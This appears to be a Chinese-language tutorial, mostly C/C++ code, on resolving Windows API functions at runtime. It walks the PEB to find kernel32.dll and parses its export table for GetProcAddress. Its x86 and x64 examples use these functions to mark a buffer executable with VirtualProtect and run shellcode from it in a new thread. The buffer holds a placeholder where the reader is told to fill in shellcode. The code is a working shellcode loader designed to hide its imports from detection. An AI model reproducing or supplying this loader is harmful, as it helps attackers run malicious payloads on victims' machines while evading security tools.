动态API函数加载
1、动态api函数加载
- 动态api : 可以在运行时动态解析并获取API函数的地址
- 基本步骤
- 加载模块:使用
LoadLibrary
或LoadLibraryEx
函数加载包含所需API的模块/动态链接库(DLL)。 - 获取函数地址:使用
GetProcAddress
函数获取指定函数的地址。
- 加载模块:使用
- PEB:是Windows操作系统中的一个数据结构,用于存储与特定进程相关的信息。它是每个进程的私有结构,提供了对进程相关数据和状态的快速访问
- PEB的主要功能和内容包括:
- 加载的模块列表:PEB中有一个叫做Ldr的字段,该字段指向一个加载器数据结构。此结构包含了当前进程加载的所有模块(如DLLs)的列表。
- 进程启动参数:例如命令行参数和环境变量。
- 进程的基本信息:例如进程的堆、基址、线程环境块(TEB)的指针等。
- 异常处理:与进程关联的异常处理程序的列表。
- 加载器锁:用于同步进程模块加载和卸载的锁。
- 操作系统版本信息:PEB包含操作系统的版本信息,这可以让进程知道它在哪个Windows版本上运行。
- 其他许多进程级别的属性和设置。
- PEB的主要功能和内容包括:
1.1、示例
#include <windows.h>
#include <iostream>
int main() {
// 定义函数原型。这是MessageBoxA函数的原型。
typedef int (WINAPI *MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);
// 1. 加载包含MessageBoxA的模块。
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (!hUser32) {
std::cerr << "Failed to load user32.dll" << std::endl;
return 1;
}
// 2. 获取MessageBoxA函数的地址。
MESSAGEBOXA pMessageBoxA = (MESSAGEBOXA)GetProcAddress(hUser32, "MessageBoxA");
if (!pMessageBoxA) {
std::cerr << "Failed to get the address of MessageBoxA" << std::endl;
FreeLibrary(hUser32);
return 1;
}
// 使用动态加载的MessageBoxA函数显示一个消息框。
pMessageBoxA(NULL, "This is a test message.", "Test", MB_OK);
// 释放模块
FreeLibrary(hUser32);
return 0;
}
1.2、X86实现代码
#include<windows.h>
#include<stdio.h>
//声明定义api函数
typedef FARPROC(WINAPI* p_GetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* p_LoadLibraryA)(__in LPCSTR lpLibFileName);
typedef BOOL(WINAPI* p_VirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* p_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* p_WaitForSingleObject)(HANDLE, DWORD);
// 解析PEB
HMODULE inline __declspec(naked) GetKernel32Moudle()
{
__asm
{
mov eax, fs: [0x30] ;
mov eax, [eax + 0xc];
mov eax, [eax + 0x14]
mov eax, [eax];
mov eax, [eax];
mov eax, [eax + 0x10];
ret;
}
}
// 获取 GetProcAddress函数的地址
DWORD pGetProcAddress(HMODULE Kernel32Base) {
char szGetProcAddr[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
DWORD result = NULL;
// 遍历kernel32.dll的导出表
// 解析DOS头
PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)Kernel32Base;
// 解析NT头
PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)((DWORD)Kernel32Base + pDosHead->e_lfanew);
// 解析可选头
PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
// 解析导出表
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)Kernel32Base + pOptHead->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取3c // 函数地址表 // 函数名称表 // 函数序号表
DWORD* pAddOfFun_Raw = (DWORD*)((DWORD)Kernel32Base + pExport->AddressOfFunctions);
WORD* pAddOfOrd_Raw = (WORD*)((DWORD)Kernel32Base + pExport->AddressOfNameOrdinals);
DWORD* pAddOfNames_Raw = (DWORD*)((DWORD)Kernel32Base + pExport->AddressOfNames);
// 初始化两个字符指针,pFinded指向模块的导出函数名,pSrc指向要查找的函数名。
char* pFinded = NULL, * pSrc = szGetProcAddr;
// 遍历模块的导出表
for (DWORD dwCnt = 0; dwCnt < pExport->NumberOfNames; dwCnt++)
{
pFinded = (char*)((DWORD)Kernel32Base + pAddOfNames_Raw[dwCnt]);
while (*pFinded && *pFinded == *pSrc)
{
pFinded++; pSrc++;
}
if (*pFinded == *pSrc)
{
result = (DWORD)Kernel32Base + pAddOfFun_Raw[pAddOfOrd_Raw[dwCnt]];
break;
}
pSrc = szGetProcAddr;
}
return result;
}
int main() {
unsigned char buf[] = "填写x86的shellcode";
HMODULE hKernal32 = GetKernel32Moudle(); // 获取Kernel32模块的地址
p_GetProcAddress GetProcAddress = (p_GetProcAddress)pGetProcAddress(hKernal32); // 获取GetProcAddress函数的地址
p_VirtualProtect VirtualProtect = (p_VirtualProtect)GetProcAddress(hKernal32, "VirtualProtect"); //获取VirtualProtect函数地址
p_CreateThread CreateThread = (p_CreateThread)GetProcAddress(hKernal32, "CreateThread"); //获取CreateThread函数地址
p_WaitForSingleObject WaitForSingleObject = (p_WaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject"); //获取WaitForSingleObject函数地址
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
1.3、X64实现代码
- 因为x64不能实现内联汇编 , 不在支持__asm关键字
#include <stdio.h>
#include <windows.h>
// UNICODE_STRING 结构体定义
typedef struct _UNICODE_STRING {
USHORT Length; //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节
USHORT MaximumLength; //分配的内存空间的大小,以字节为单位
PWSTR Buffer; //表示指向存储Unicode字符串的字符数组的指针
} UNICODE_STRING, * PUNICODE_STRING;
// 声明获取 InInitializationOrderModuleList 链表的函数
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();
// 获取 Kernel32.dll 的基地址
HMODULE getKernel32Address() {
// 获取 InInitializationOrderModuleList 链表
LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList();
while (1) {
// 获取 FullDllName 成员
UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
// 如果 Buffer 中的第 13 个字符为空字符,则已找到 Kernel32.dll
if (*(FullDllName->Buffer + 12) == '\0') {
// 返回模块的基地址
return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
}
pNode = pNode->Flink;
}
}
// 获取 GetProcAddress 函数的地址
DWORD64 getGetProcAddress(HMODULE hKernal32) {
// 获取 DOS 头
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32;
// 获取 NT 头
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出函数地址数组、导出函数名数组和导出函数序号数组
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions);
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals);
// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
// 获取当前函数地址
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]);
// 获取当前函数名地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]);
// 如果当前函数名是 "GetProcAddress",返回其地址
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}
// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
// 定义包含 shellcode 的缓冲区
unsigned char buf[] =
"填写x64的shellcode";
// 获取 Kernel32.dll 的基地址和GetProcAddress函数地址
HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32.dll的基地址
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress函数地址
//获取其他所需API函数地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
//修改shellcode缓冲区的内存保护属性,以便执行
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
//创建新线程执行shellcode并等待其执行完成
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
推荐阅读: